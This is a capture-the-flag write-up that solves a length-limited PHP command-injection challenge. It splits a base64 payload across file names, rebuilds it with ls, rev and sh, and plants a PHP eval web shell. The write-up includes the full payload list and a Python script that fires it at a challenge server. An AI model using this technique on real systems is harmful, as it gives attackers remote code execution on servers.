There is a blank white page. Let's test parameters from challenge description - cmd
and reset
We don't get any output from that. Maybe we should search for some edge cases to see how app behaves.
Null byte works as always in php scritps. Now we can check how length control is being handled.
Input build of more than 5 characters is not going throught exec function.
At first I thought the challenge was about simple command injection.
I tried using *
, >
to read flag or index.php but didn't get anything.
The length of 5 was too small to get any progress there.
The only thing that I acomplished was creating files with short names and reading them.
This led me to executing ls and reading the output.
That's something. At that moment I knew the challenge is about creating payload from multiple files. It is also said in challenge description that files are being removed every 2 mins so keep that in mind.
After feeling a bit helpless I started to google for short php payloads. I stumbled upon few interesting articles.
In above articles they are basically spliting the command echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
in multiple files.
Then they are using ls -t>0
to sort files by the time they were created and put all of them into one file - 0
.
When that succeed they execute 0
with sh 0
and the outcome is 1.php
file with php content - <?php eval($_GET[1]);
which enables executing any command we want.
Backslashes \\
keep all files as one payload and ${IFS}
is being used to replace one of the spaces.
The hardest part is executing ls -t>0
. This line have much more than 5 chars so how they got around it?
That's pure magic. How does it even work?
First we need to understand few commands:
- dir - same as ls
- rev - reverses the input
echo 1234|rev
->4321
So at first they are building a reversed payload. With *>v
they are calling dir (first file in the folder in alphabetical order) which lists other files and then saves it to v
file.
Next they uses rev to reverse the payload and move it to another file 0
Well that works. Pretty crazy way to get around it.
I found everything that is needed right? Copy, paste, run, didn't work. Unfortunately, it wasn't that simple.
I created a simple php script that simulates the behavior of the challenge.
<?php
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5){exec($_GET['cmd']);}
?>
After a while I knew what didn't work. When building up a ls -t
from files there is one diffrence between articles and actual challenge. We also have index.php
in same directory which breaks the whole payload.
Index.php got between the files and whole thing was messed up. I had to find reversed payload that will go after index.php
>dir
>n\>
>pt-
>l\|
>sl
*>v
>rev
*v>0
Found it! Below how it works.
Simple python script which creates all the files needed and calls 1.php
endpoint to check if it worked.
import requests
url = "http://142.93.209.130:8003/?cmd={0}"
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
test = requests.get("http://142.93.209.130:8002/1.php")
if test.status_code == requests.codes.ok:
print("Success!!!")
payload.txt
>dir
>n\>
>pt-
>l\|
>sl
*>v
>rev
*v>0
>php
>1.\\
>\>\\
>d\\
>\-\\
>\ \\
>4\\
>e6\\
>s\\
>ba\\
>\|\\
>4K\\
>Pz\\
>7\\
>k\\
>XS\\
>x\\
>Fs\\
>V\\
>dF\\
>0\\
>kX\\
>g\\
>bC\\
>h\\
>XZ\\
>Z\\
>Ag\\
>H\\
>wa\\
>9\\
>PD\\
>\}\\
>FS\\
>I\\
>\{\\
>$\\
>ho\\
>ec\\
sh 0
sh n